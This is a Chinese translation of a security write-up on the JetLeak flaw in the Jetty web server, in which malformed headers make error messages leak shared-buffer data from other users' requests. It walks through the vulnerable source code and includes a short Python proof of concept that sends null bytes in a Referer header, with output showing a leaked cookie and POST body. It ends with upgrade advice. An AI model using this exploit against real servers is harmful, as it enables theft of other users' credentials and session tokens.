原文地址:http://drops.wooyun.org/papers/4972

0x00 简介

一家叫GDS的网站很丑的安全公司近日发现了一个 jetty web server的安全漏洞，允许攻击者远程读取其他用户之前的请求信息，下一句话的意思是好好学习我就不翻译了。

简单来说，如果你运行着存在漏洞的jetty版本，那么你的密码，请求头，cookie，anti-csrf令牌，token等等一系列的东西遭到黑客窃取。比如post请求中包含的信息。

GDS还发现一个重要的事情就是，此数据泄漏漏洞本身并不局限于request请求，还可以应用在response上，为了方便，这里只简单演示下攻击request。

漏洞的根本原因在于，当提交非法的headers给服务器时会触发异常处理代码，其返回一个约16字节的共享缓冲区数据。so，攻击者可以通过精心构造headers值来触发异常并偏移到共享缓冲区，其中包含了之前其他用户提交的请求，服务器会根据攻击者的payload返回特定位置的数据。

0x01 相关信息

漏洞影响的版本至 9.2.3之后的大多数版本。

gds写了一个简单的python脚本用于测试是否存在该漏洞，读者可以从github上下载该脚本。

https://github.com/GDSSecurity/Jetleak-Testing-Script

0x02 漏洞原因

这一小节我们会集中在服务器如何解析request。

当jetty接受到一个http请求，下面的代码会用于解析request中的header值，服务器会循环检查所有的字符，以下是检查事项。

1164行 服务器检查是否是无效的ascii字符

1172行 检查字符是否是为一个空格or tab。

1175行 是否是换行字符

1186行 如果字符中存在非法的ascii字符（比如小于0x20）那么代码就会抛出一个IllegalCharacter异常，并且传入异常字符串和共享缓冲区。

File: jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java

```
#!java
920: protected boolean parseHeaders(ByteBuffer buffer)
921: {
[..snip..]
1163:     case HEADER_VALUE:
1164:         if (ch>HttpTokens.SPACE || ch<0)
1165:         {
1166:             _string.append((char)(0xff&ch));
1167:             _length=_string.length();
1168:             setState(State.HEADER_IN_VALUE);
1169:             break;
1170:         }
```

```
1171:
1172:         if (ch==HttpTokens.SPACE || ch==HttpTokens.TAB)
1173:            break;
1174:
1175:         if (ch==HttpTokens.LINE_FEED)
1176:         {
1177:             if (_length > 0)
1178:             {
1179:                 _value=null;
1180:                 _valueString=(_valueString==null)?
                                takeString():(_valueString+" "+
                                takeString());
1181:             }
1182:             setState(State.HEADER);
1183:             break;
1184:         }
1185:
1186:         throw new IllegalCharacter(ch,buffer);
```

接着屌丝们跟踪代码到IllegalCharacter的实现，服务器用string.format方法返回一个非法字符的错误消息，问题出在最后代码通过调用BufferUtil.toDebugString来输出共享内存的内容。

File: jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java

```
#!java
1714: private class IllegalCharacter extends BadMessage
1715: {
1716:     IllegalCharacter(byte ch,ByteBuffer buffer)
1717:     {
1718:         super(String.format("Illegal character 0x%x
                        in state=%s in '%s'",ch,_state,
                        BufferUtil.toDebugString(buffer)));
1719:     }
1720: }
```

接着到toDebugString方法，总的来说就是调研了appendDebugString将StringBuider作为第一个参数，缓冲区作为第二个参数，StringBuider的内容最终由appendDebugString进行填充并且返回给用户。

File: jetty-util\src\main\java\org\eclipse\jetty\util\BufferUtil.java

```
#!java
 963: public static String toDebugString(ByteBuffer buffer)
 964: {
 965:     if (buffer == null)
 966:         return "null";
 967:     StringBuilder buf = new StringBuilder();
 968:     appendDebugString(buf,buffer);
 969:     return buf.toString();
 970: }
```

额，我们前面说道，共享内存包含之前的request数据，为了让黑客能够获取指定的数据，那么我们就需要创建一个足够长的非法字符串去不断覆盖不重要的数据直到服务器返回我们想要的数据。我们可以看到，在代码996行，在进行append之前，攻击者已经通过非法header偏移到之前的请求，那么此时返回的16字节应该会包含我们想要的数据。

File: jetty-util\src\main\java\org\eclipse\jetty\util\BufferUtil.java

```
#!java
972:  private static void appendDebugString(StringBuilder buf,ByteBuffer buffer)
973: {
[..snip..]
983:     buf.append("<<<");
984:     for (int i = buffer.position(); i < buffer.limit(); i++)
985:     {
986:         appendContentChar(buf,buffer.get(i));
987:         if (i == buffer.position() + 16 &&
                    buffer.limit() > buffer.position() + 32)
988:         {
989:             buf.append("…");
```

```
990:             i = buffer.limit() - 16;
991:         }
992:     }
993:     buf.append("...");
994:     int limit = buffer.limit();
995:     buffer.limit(buffer.capacity());
996:     for (int i = limit; i < buffer.capacity(); i++)
997:     {
998:         appendContentChar(buf,buffer.get(i));
999:         if (i == limit + 16 &&
                    buffer.capacity() > limit + 32)
1000:        {
1001:             buf.append("...");
1002:             i = buffer.capacity() - 16;
1003:         }
1004:     }
1005:     buffer.limit(limit);
1006: }
```

简单来说这次的漏洞主要问题出在对于非法字符的异常触发上，就是IllegalCharacter，笔者罗列了调用了IllegalCharacter的文件。

```
\jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:401
\jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:530
\jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:547
\jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:1161
\jetty.project-jetty-9.2.x\jetty-http\src\main\java\org\eclipse\jetty\http\HttpParser.java:1215
```

下面一个小节进行了一次简单的攻击。

0x03 漏洞利用

Step 1:

---

jetty版本 version 9.2.7.v20150116

注意下面的请求，我们假设一个受害人发送了这玩意，请注意cookie和post，我们将通过攻击jetty获取下列的值。

Reproduction Request (VICTIM):

```
POST /test-spec/test HTTP/1.1
Host: 192.168.56.101:8080
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64; rv:35.0) Gecko/20100101
Cookie: password=secret
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.101:8080/test-spec/
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

param1=test
```

Reproduction Response (VICTIM):

```
HTTP/1.1 200 OK
Set-Cookie: visited=yes
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html
Server: Jetty(9.2.7.v20150116)
Content-Length: 3460
```

Step 2:

之后，攻击者用一个简单的python脚本，在header中插入44个空字节，这回导致异常的触发，需要注意的是，搞清楚多少个字节才能覆盖到敏感数据是一个反复的过程，建议先通过较小的字符串，不断加大，如果一开始选择较大的字符串可能会覆盖一些敏感数据。

```
#!python
import httplib, urllib

conn = httplib.HTTPConnection("127.0.0.1:8080")

headers = {"Referer": chr(0)*44}
conn.request("POST", "/test-spec/test", "", headers)
r1 = conn.getresponse()
print r1.status, r1.reason
```

Step 3:

一旦运行上面的python脚本，那么攻击者就会收到如图中所示的错误信息，请注意其中包含的cookie和密码，如果你想要大于16个字节的数据，那么修改下长度多跑几次就好了。

```
steve@Ubuntu64-VM:~/Projects/Jetty_Server_Vuln$ python sample_http_request.py
400 Illegal character 0x0 in state=HEADER_VALUE in 'POST /test-spec/t...ity\r\nR
eferer: \x00<<<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00...\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n\r\n>>>: password=secret..
.\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
steve@Ubuntu64-VM:~/Projects/Jetty_Server_Vuln$
```

drops.wooyun.org

```
steve@Ubuntu64-VM:~/Projects/Jetty_Server_Vuln$ python sample_http_request.py
400 Illegal character 0x0 in state=HEADER_VALUE in 'POST /test-spec/t...ity\r\nRefer
er: \x00<<<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00...\x
00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n\r\n>>>13\r\n\r\nparam1=test...\x00\x0
0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
steve@Ubuntu64-VM:~/Projects/Jetty_Server_Vuln$
```

drops.wooyun.org

0x04 结语和修复建议

如果你不幸运行着存在漏洞版本的jetty，那么官方的建议是立即更新到version 9.2.9.v20150224。 这里有一份jetty的客户名单，我就不说我看到阿里了。

http://eclipse.org/jetty/powered/

如果需要进行版本更新可以通过以下地址

Maven - http://central.maven.org/

Jetty Downloads Page - http://download.eclipse.org/jetty

这里是原文：http://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html

我省略了修复建议中的一些细节还有漏洞披露的时间表，具体可以参考原文。